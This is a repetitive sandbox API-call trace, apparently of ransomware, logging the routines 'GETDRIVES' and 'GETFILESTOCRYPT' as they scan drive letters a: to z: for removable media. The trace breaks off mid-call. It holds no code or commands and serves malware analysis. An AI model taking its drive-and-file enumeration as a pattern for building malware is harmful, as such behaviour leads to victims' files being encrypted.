[0082.164] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.164] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.164] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.165] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.165] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.165] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0082.165] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0082.165] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0082.165] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0082.165] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0082.165] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0082.165] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0082.166] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0082.166] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0082.166] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0082.166] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0082.166] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0082.166] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0082.166] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0082.166] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0082.167] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0082.167] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0082.167] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0082.167] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0082.167] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0082.167] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0082.167] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0082.168] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0082.168] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0082.168] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0082.168] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0082.168] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.168] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.168] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.168] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.168] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.168] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.169] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.169] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.169] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.169] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.169] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.169] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.169] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.169] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.169] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.169] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.169] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.169] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0082.169] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0082.170] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0082.170] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0082.170] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0082.170] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0082.170] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0082.170] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0082.170] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0082.171] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0082.171] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0082.171] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0082.171] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0082.171] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0082.171] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0082.171] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0082.171] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0082.172] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0082.172] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0082.172] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0082.172] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0082.172] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0082.172] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0082.172] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0082.172] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0082.173] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0082.173] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.173] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.173] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.173] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.173] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.173] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.173] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.173] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.173] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.173] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.174] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.174] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.174] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.174] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.174] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.174] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.174] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.174] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.174] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0082.174] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0082.174] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0082.174] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0082.175] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0082.175] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0082.175] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0082.175] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0082.175] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0082.175] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0082.175] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0082.175] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0082.176] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0082.176] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0082.176] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0082.176] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0082.176] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0082.176] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0082.235] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0082.235] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0082.235] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0082.235] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0082.235] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0082.236] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0082.236] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0082.236] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0082.236] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.236] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.236] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.236] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.236] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.236] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.236] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.236] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.236] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.237] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.237] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.237] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.237] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.237] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.237] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.237] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.237] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.237] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.237] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0082.237] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0082.237] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0082.237] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0082.238] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0082.238] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0082.238] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0082.238] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0082.238] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0082.238] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0082.238] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0082.238] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0082.239] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0082.239] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0082.243] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0082.243] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0082.243] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0082.243] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0082.243] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0082.244] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0082.244] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0082.244] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0082.244] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0082.244] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0082.244] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0082.244] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0082.244] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.245] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.245] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.245] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.245] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.245] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.245] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.245] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.245] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.245] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.245] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.245] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.245] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.245] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.245] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.245] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.245] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.245] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0082.246] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0082.246] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0082.246] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0082.246] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0082.246] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0082.246] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0082.246] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0082.246] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0082.246] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0082.247] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0082.247] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0082.247] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0082.247] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0082.247] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0082.247] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0082.247] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0082.247] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0082.248] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0082.248] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0082.248] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0082.248] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0082.248] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0082.248] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0082.248] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0082.248] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0082.249] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.249] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.249] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.249] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.249] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.249] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.249] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.249] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.249] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.249] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.249] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.249] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.249] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.249] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.249] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.250] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.250] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.250] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0082.250] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0082.250] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0082.250] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0082.250] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0082.250] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0082.250] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0082.250] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0082.251] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0082.251] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0082.251] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0082.251] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0082.251] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0082.251] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0082.251] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0082.251] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.252] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.252] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.252] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.252] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.252] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.252] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.252] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.252] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.252] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.252] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.252] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.252] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.252] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.252] PeekMessageW (in: 